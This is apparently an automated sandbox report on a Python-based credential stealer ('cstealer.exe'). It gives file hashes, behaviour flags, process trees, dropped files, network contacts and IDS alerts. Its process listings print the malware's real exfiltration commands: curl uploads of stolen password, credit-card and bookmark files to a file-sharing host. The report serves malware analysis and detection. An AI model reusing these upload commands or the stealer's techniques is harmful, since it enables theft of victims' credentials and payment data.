File name:

cstealer.exe

Full analysis: https://app.any.run/tasks/3dadd67e-33ab-45c6-9afe-3d615ff1f709
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: August 31, 2024, 23:46:57
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
stealer
python
pyinstaller
discordgrabber
generic
waspstealer
discord
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64, for MS Windows
MD5:

ACFD8A1F968F95781A0204DB483EB2CD

SHA1:

0FFE0EA17F49C96209A67C6594AD420941280055

SHA256:

9F3E52DACF3A96D03E3C8ACFA9752B60F14054F0D454540A1B80369D5FE62B61

SSDEEP:

98304:m6CyJJOfkcaCJr/VzkvddwCXkFqdz3aC3bww/Al+Biyz6oqV2kTpOSyu4YJbebWf:XMcOkmYVzwttU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • cstealer.exe (PID: 1080)

    • Actions looks like stealing of personal data

      • cstealer.exe (PID: 1080)

    • DISCORDGRABBER has been detected (YARA)

      • cstealer.exe (PID: 1080)

    • WASPSTEALER has been detected (YARA)

      • cstealer.exe (PID: 1080)

  • SUSPICIOUS

    • Process drops python dynamic module

      • cstealer.exe (PID: 4128)

    • Drops the executable file immediately after the start

      • cstealer.exe (PID: 4128)
      • cstealer.exe (PID: 1080)

    • The process drops C-runtime libraries

      • cstealer.exe (PID: 4128)

    • Executable content was dropped or overwritten

      • cstealer.exe (PID: 4128)
      • cstealer.exe (PID: 1080)

    • Process drops legitimate windows executable

      • cstealer.exe (PID: 4128)

    • Application launched itself

      • cstealer.exe (PID: 4128)

    • Loads Python modules

      • cstealer.exe (PID: 1080)

    • Checks for external IP

      • svchost.exe (PID: 2256)
      • cstealer.exe (PID: 1080)

    • Data upload via CURL

      • curl.exe (PID: 4404)
      • curl.exe (PID: 6152)
      • curl.exe (PID: 2016)
      • curl.exe (PID: 6284)
      • curl.exe (PID: 1124)
      • curl.exe (PID: 6784)

    • Starts CMD.EXE for commands execution

      • cstealer.exe (PID: 1080)

  • INFO

    • Checks supported languages

      • cstealer.exe (PID: 4128)
      • cstealer.exe (PID: 1080)
      • curl.exe (PID: 4404)
      • curl.exe (PID: 6152)
      • curl.exe (PID: 6784)
      • curl.exe (PID: 2016)
      • curl.exe (PID: 1124)
      • curl.exe (PID: 6284)

    • Create files in a temporary directory

      • cstealer.exe (PID: 4128)
      • cstealer.exe (PID: 1080)

    • Reads the computer name

      • cstealer.exe (PID: 4128)
      • cstealer.exe (PID: 1080)
      • curl.exe (PID: 4404)
      • curl.exe (PID: 6152)
      • curl.exe (PID: 2016)

    • Checks proxy server information

      • cstealer.exe (PID: 1080)

    • Creates files or folders in the user directory

      • cstealer.exe (PID: 1080)

    • PyInstaller has been detected (YARA)

      • cstealer.exe (PID: 1080)
      • cstealer.exe (PID: 4128)

    • Attempting to use instant messaging service

      • cstealer.exe (PID: 1080)
      • svchost.exe (PID: 2256)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | InstallShield setup (57.6)
.exe | Win64 Executable (generic) (36.9)
.exe | Generic Win/DOS Executable (2.6)
.exe | DOS Executable Generic (2.6)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2024:08:31 23:41:48+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.4
CodeSize: 172032
InitializedDataSize: 154624
UninitializedDataSize: -
EntryPoint: 0xcdb0
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
151
Monitored processes
23
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start THREAT cstealer.exe #DISCORDGRABBER cstealer.exe svchost.exe cmd.exe no specs conhost.exe no specs curl.exe cmd.exe no specs conhost.exe no specs curl.exe cmd.exe no specs conhost.exe no specs curl.exe cmd.exe no specs conhost.exe no specs curl.exe no specs cmd.exe no specs conhost.exe no specs curl.exe no specs cmd.exe no specs conhost.exe no specs curl.exe no specs sppextcomobj.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1080"C:\Users\admin\AppData\Local\Temp\cstealer.exe" C:\Users\admin\AppData\Local\Temp\cstealer.exe
cstealer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\cstealer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
1124curl -F "file=@C:\Users\admin\AppData\Local\Temp\csbookmarks.txt" https://store11.gofile.io/uploadFileC:\Windows\System32\curl.exe—cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
26
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\cryptsp.dll
1752"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2016curl -F "file=@C:\Users\admin\AppData\Local\Temp\cscreditcards.txt" https://store11.gofile.io/uploadFileC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\cryptsp.dll
2256C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2612\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2768C:\WINDOWS\system32\cmd.exe /c "curl -F "file=@C:\Users\admin\AppData\Local\Temp\cscreditcards.txt" https://store11.gofile.io/uploadFile"C:\Windows\System32\cmd.exe—cstealer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
4128"C:\Users\admin\AppData\Local\Temp\cstealer.exe" C:\Users\admin\AppData\Local\Temp\cstealer.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\cstealer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
4404curl -F "file=@C:\Users\admin\AppData\Local\Temp\cspasswords.txt" https://store11.gofile.io/uploadFileC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
5148\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
5 925
Read events
5 925
Write events
0
Delete events
0

Modification events

No data
Executable files
102
Suspicious files
10
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_pkcs1_decode.pydexecutable
MD5:D9E7218460AEE693BEA07DA7C2B40177
SHA256:38E423D3BCC32EE6730941B19B7D5D8872C0D30D3DD8F9AAE1442CB052C599AD
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_aesni.pydexecutable
MD5:BBEA5FFAE18BF0B5679D5C5BCD762D5A
SHA256:1F4288A098DA3AAC2ADD54E83C8C9F2041EC895263F20576417A92E1E5B421C1
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_des3.pydexecutable
MD5:6C3E976AB9F47825A5BD9F73E8DBA74E
SHA256:238CDB6B8FB611DB4626E6D202E125E2C174C8F73AE8A3273B45A0FC18DEA70C
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_aes.pydexecutable
MD5:F751792DF10CDEED391D361E82DAF596
SHA256:9524D1DADCD2F2B0190C1B8EDE8E5199706F3D6C19D3FB005809ED4FEBF3E8B5
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_arc2.pydexecutable
MD5:D2175300E065347D13211F5BF7581602
SHA256:94556934E3F9EE73C77552D2F3FC369C02D62A4C9E7143E472F8E3EE8C00AEE1
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_cbc.pydexecutable
MD5:20708935FDD89B3EDDEEA27D4D0EA52A
SHA256:11DD1B49F70DB23617E84E08E709D4A9C86759D911A24EBDDFB91C414CC7F375
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_blowfish.pydexecutable
MD5:45616B10ABE82D5BB18B9C3AB446E113
SHA256:F348DB1843B8F38A23AEE09DD52FB50D3771361C0D529C9C9E142A251CC1D1EC
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_ecb.pydexecutable
MD5:FEE13D4FB947835DBB62ACA7EAFF44EF
SHA256:3E0D07BBF93E0748B42B1C2550F48F0D81597486038C22548224584AE178A543
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_cfb.pydexecutable
MD5:43BBE5D04460BD5847000804234321A6
SHA256:FAA41385D0DB8D4EE2EE74EE540BC879CF2E884BEE87655FF3C89C8C517EED45
4128cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI41282\Crypto\Cipher\_raw_ctr.pydexecutable
MD5:C6B20332B4814799E643BADFFD8DF2CD
SHA256:61C7A532E108F67874EF2E17244358DF19158F6142680F5B21032BA4889AC5D8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
54
DNS requests
22
Threats
25

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
740
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
4708
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4708
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
1688
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
3352
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
7072
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1080
cstealer.exe
104.26.2.16:443
rentry.co
CLOUDFLARENET
US
suspicious
1080
cstealer.exe
172.67.74.152:443
api.ipify.org
CLOUDFLARENET
US
shared
1080
cstealer.exe
45.112.123.126:443
api.gofile.io
AMAZON-02
SG
whitelisted
1080
cstealer.exe
159.89.102.253:443
geolocation-db.com
DIGITALOCEAN-ASN
DE
whitelisted
3352
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
  • 51.104.136.2
whitelisted
google.com
  • 142.250.181.238
whitelisted
rentry.co
  • 104.26.2.16
  • 172.67.75.40
  • 104.26.3.16
unknown
api.ipify.org
  • 172.67.74.152
  • 104.26.12.205
  • 104.26.13.205
shared
api.gofile.io
  • 45.112.123.126
  • 51.38.43.18
whitelisted
geolocation-db.com
  • 159.89.102.253
whitelisted
login.live.com
  • 40.126.32.74
  • 40.126.32.76
  • 40.126.32.133
  • 40.126.32.136
  • 20.190.160.14
  • 20.190.160.20
  • 40.126.32.72
  • 20.190.160.17
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
client.wns.windows.com
  • 40.113.110.67
whitelisted
discord.com
  • 162.159.138.232
  • 162.159.135.232
  • 162.159.136.232
  • 162.159.137.232
  • 162.159.128.233
whitelisted

Threats

PID
Process
Class
Message
2256
svchost.exe
Misc activity
ET INFO Pastebin Service Domain in DNS Lookup (rentry .co)
1080
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
1080
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
1080
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
1080
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
2256
svchost.exe
Misc activity
ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup
2256
svchost.exe
Potentially Bad Traffic
ET INFO Online File Storage Domain in DNS Lookup (gofile .io)
2256
svchost.exe
Misc activity
ET INFO External IP Lookup Domain in DNS Lookup (geolocation-db .com)
1080
cstealer.exe
Misc activity
ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI
1080
cstealer.exe
Misc activity
ET INFO File Sharing Related Domain in TLS SNI (gofile .io)
1 ETPRO signatures available at the full report
No debug info
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Reports
cstealer.exe